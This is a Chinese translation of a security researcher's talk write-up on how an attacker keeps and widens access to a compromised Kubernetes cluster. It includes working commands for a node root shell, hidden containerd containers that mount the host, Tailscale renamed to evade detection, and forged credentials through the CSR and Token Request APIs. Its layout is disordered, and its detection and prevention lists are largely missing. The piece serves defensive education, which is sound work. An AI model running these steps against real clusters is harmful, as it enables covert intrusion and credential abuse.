注:本文翻译自Raesene[1]的文章《Beyond the surface - Exploring attacker persistence strategies in Kubernetes》[2],可点击文末“阅读原文”按钮查看英文原文。 全文如下: 我进行Kubernetes攻击后利用主题演讲已有一段时间,期间一直有听众希望我能提供一篇博客文章以供日后参考,现在我终于抽出时间来完成这件事了! 本次演讲的目标是阐述攻击者在初步攻破Kubernetes集群后,为维持和扩大访问权限可能采用的一条攻击路径:获取管理员凭证。虽然并未涵盖所有可能的攻击方式,但通过这条路径的剖析,希望能揭示攻击者可能利用的某些内部工作机制和默认设置。 如果您更倾向于视频形式,可以观看此处[3]的稍早版本演讲录像(流程基本相似,不过最新版本得益于调试配置文件[4]的引入已进行了简化)。整个演讲围绕这样一个场景展开:攻击者临时获得了集群管理员的笔记本电脑访问权限(管理员因接电话暂时离开且未锁屏),他们必须在管理员返回之前设法获取并维持对集群的访问权限。 攻击者获取凭证后,首要步骤之一通常是获取Kubernetes集群节点的root shell,这是寻找凭证或植入二进制文件的理想位置。在Kubernetes中,这一操作异常简单,因为集群内置了相应功能,允许具备适当访问权限的用户通过 典型命令如下所示(只需将节点名称替换为您集群中的实际节点): 此命令的关键在于 当攻击者获得节点的shell访问权限后,下一步本能反应可能是下载工具来运行。但这可能并不像想象中那么简单,因为许多Kubernetes发行版会锁定节点操作系统,将文件系统设置为只读或 通过这种方式,我们可以探索Kubernetes集群一些较少为人知的特性。在集群中,所有容器都由容器运行时(通常是containerd[5]或CRI-O[6])负责运行。若攻击者已位于节点上,则可以直接与这些程序交互,完全绕过Kubernetes API。 在演讲中,我首先使用 我们创建名为 拉取镜像后,我们可以使用 该容器为我们提供了对主机文件系统的完全访问权限以及主机网络接口的访问权限,这对于攻击后利用活动非常有用。之后只需在容器中获取shell即可继续操作。 攻击者可用于在节点上运行容器的另一种方法是静态manifests。大多数Kubelet会在主机上定义一个目录用于加载静态manifests。这些manifests可以在无需API服务器的情况下直接运行Pod。攻击者常用的技巧是给静态Pod指定一个无效的命名空间名称,这样可以阻止其在API服务器中注册,从而不会出现在 攻击者接下来需要解决的问题是:在管理员返回其笔记本电脑后,如何维持对环境的远程访问。虽然市面上有多种远程访问工具可用,但许多与安全/黑客相关的工具会被EDR/XDR类代理检测到。因此,替代方案可以是使用Tailscale[8]这类工具。 Tailscale具备多项对攻击者非常有用的特性(除了其正常功能外)。首先,它可以通过两个可重命名的静态编译Golang二进制文件运行。这意味着您可以自定义在节点进程列表中显示的名称。延续容器镜像的命名主题,我们使用 第一个命令启动服务器: 然后启动客户端: 在网络访问方面,如果使用Tailscale的DERP网络,该服务仅通过443/TCP端口进行出站通信,这种访问在大多数环境中通常会被允许。此外,我们可以利用Tailscale的ACL功能,确保被入侵的容器无法与Tailnet中的任何其他机器通信。 运行这些服务后,应该可以通过SSH重新连接到容器。Tailscale在程序中捆绑了SSH服务器,因此不会显示有SSHD进程在运行 :) 实现远程访问后,攻击者仍需获取长期有效的凭证。此外,如果能在不触及Kubernetes API服务器的情况下探测集群(因为API服务器的操作可能会出现在审计日志中),将会更加理想。为此,他们需要获取能直接与Kubelet API通信的用户凭证。Kubelet API在每个节点的10250/TCP端口上运行,且不提供审计功能。 在演讲中,我使用teisteanas[9]工具来创建基于证书签名请求(Certificiate Signing Request,CSR)API的Kubeconfig凭证。通过这种方法,我们可以为任何用户创建凭证。为了隐蔽行动,攻击者可能会选择已在RBAC中分配权限的现有用户,这样就不需要创建新的集群角色或集群角色绑定。具体使用的用户会因环境而异,在演讲演示中我使用GKE集群中存在的 获得该Kubeconfig文件并拥有对主机上Kubelet端口的访问权限后,就可以执行诸如列出节点上的Pod或在这些Pod中执行命令等操作。最简单的方法是使用kubeletctl[10]工具。因此,从我们运行在节点上并使用节点网络命名空间的容器中,可以执行如下命令: 了解CSR API(证书签名请求API)至关重要,因为对攻击者而言,这是一个值得利用的有效途径。该API几乎存在于所有Kubernetes发行版中,可用于创建对集群进行身份验证的凭证(除了EKS,因为它不允许此功能)。最重要的是,任何能够访问API服务器的人都可以滥用通过CSR API创建的凭证。大多数托管Kubernetes发行版默认将Kubernetes API服务器暴露在互联网上,因此获得集群凭证的攻击者将能够在世界任何地方使用这些凭证! CSR API对攻击者具有吸引力的原因还有以下几点: 在演讲的演示中,我们针对的是GKE集群,因此使用CSR API为具有广泛权限的 即使CSR API不可用,Kubernetes还内置了另一种创建新凭证的选项:Token Request API。Kubernetes集群使用此API创建服务账户令牌,但拥有适当权限的管理员同样可以使用它。与CSR API类似,该API不会留下新凭证创建的持久记录(除审计日志外),如果使用了系统级服务账户,这些凭证可能难以撤销,因为撤销凭证的唯一方法是删除其关联的服务账户。 有效期可能不那么成问题,具体取决于所使用的Kubernetes发行版。根据我研究的托管发行版情况,有效期从最长24小时到一年不等。 在演讲中,我使用tocan[12]来简化从服务账户令牌创建Kubeconfig文件的过程。 我们克隆的服务账户具有特殊意义,因为它拥有"escalate"权限,这意味着即使最初不具备集群管理员权限,它也能随时提升为集群管理员。(我之前写过关于escalate权限[13]的文章) 演讲最后讨论了如何检测和预防这类攻击。在检测方面,有几个关键点需要注意: 集群管理员可以通过以下几种关键方式降低遭遇此类攻击的风险: 引用Ian Coldwater[14]的名言: 本次演讲仅探讨了攻击者在获得集群访问权限后,维持和扩大访问权限的一条可能路径。显然还存在其他攻击方式,但希望通过这个案例能帮助大家更好地理解Kubernetes的运行机制,并进一步提升集群安全防护能力! 根据本文关键技术点,译者绘图如下,可供参考:一、引言
二、初始访问
kubectl debug
快速实现。kubectl debug node/gke-demo-cluster-default-pool-04a13cdb-5p8d -it --profile=sysadmin --image=busybox
--profile
参数,它决定了您对节点的访问权限级别。sysadmin
配置文件提供最高权限,因此对攻击者最为有用。三、执行二进制文件
noexec
(禁止执行)。然而,所有集群节点都有一项共同能力——运行容器。因此,如果攻击者能在节点上下载并运行容器,他们就能运行任意程序!ctr
工具创建了一个新的containerd命名空间。ctr
非常实用,因为它(根据我的经验)总是随containerd一起安装,无需额外获取客户端程序。创建containerd命名空间的目的是增加主机检查人员发现我们容器的难度。需要注意的是,containerd命名空间与Kubernetes命名空间或Linux命名空间完全无关。ctr namespace create sys_net_mon
sys_net_mon
的命名空间,只是为了比直接使用"attackers were here"这类明显名称更隐蔽些。创建命名空间后,下一步是拉取容器镜像。我使用的是docker.io/sysnetmon/systemd_net_mon:latest
。关键点在于,这个容器镜像的内容实际上与systemd或网络监控毫无关系!从安全角度需要牢记:除了官方或已验证的镜像外,Docker Hub不会对镜像内容进行任何审核,因此任何人都可以随意命名其镜像!ctr -n sys_net_mon images pull docker.io/sysnetmon/systemd_net_mon:latest
ctr
启动容器:ctr -n sys_net_mon run --net-host -d --mount type=bind,src=/,dst=/host,options=rbind:ro docker.io/sysnetmon/systemd_net_mon:latest sys_net_mon
四、静态Manifests
kubectl get pods -A
等命令的显示结果中。关于静态Pod及其安全特性的更多细节,可参考Iain Smart的博客[7]。五、远程访问
systemd_net_mon_server
和systemd_net_mon_client
这两个二进制文件。systemd_net_mon_server --tun=userspace-networking --socks5-server=localhost:1055 &
systemd_net_mon_client up --ssh --hostname cafebot --auth-key=tskey-auth-XXXXX
tailscale ssh root@cafebot
六、凭证 - Kubelet API
kube-apiserver
用户。teisteanas -username kube-apiserver -output-file kubelet-user.config
kubeletctl -s 127.0.0.1 -k kubelet-user.config pods
七、CSR API
system:gke-common-webhooks
用户生成了凭证。teisteanas -username system:gke-common-webhooks -output-file webhook.config
八、Token Request API
tocan -namespace kube-system -service-account clusterrole-aggregation-controller
九、检测此类攻击
systemd_net_mon
这样的异常进程。难点在于每个云提供商的管理服务集因发行版而异,因此需要持续维护正常行为基准十、预防此类攻击
十一、结论
附录
引用链接
[1]
Raesene:https://raesene.github.io/[2]
《Beyond the surface - Exploring attacker persistence strategies in Kubernetes》:https://raesene.github.io/blog/2025/09/12/beyond-the-surface/[3]
此处:https://youtu.be/4L8Dg_QSx30?si=Y4eit5EMmCBFOBQN[4]
调试配置文件:https://raesene.github.io/blog/2025/05/30/kubernetes-debug-profiles/[5]
containerd:https://containerd.io/[6]
CRI-O:https://cri-o.io/[7]
Iain Smart的博客:https://blog.iainsmart.co.uk/posts/2024-10-13-mirror-mirror/[8]
Tailscale:https://tailscale.com/[9]
teisteanas:https://github.com/raesene/teisteanas/[10]
kubeletctl:https://github.com/cyberark/kubeletctl[11]
与证书撤销相关的GitHub issue:https://github.com/kubernetes/kubernetes/issues/18982[12]
tocan:https://github.com/raesene/tocan/[13]
escalate权限:https://raesene.github.io/blog/2020/12/12/Escalating_Away/[14]
Ian Coldwater:https://bsky.app/profile/lookitup.baby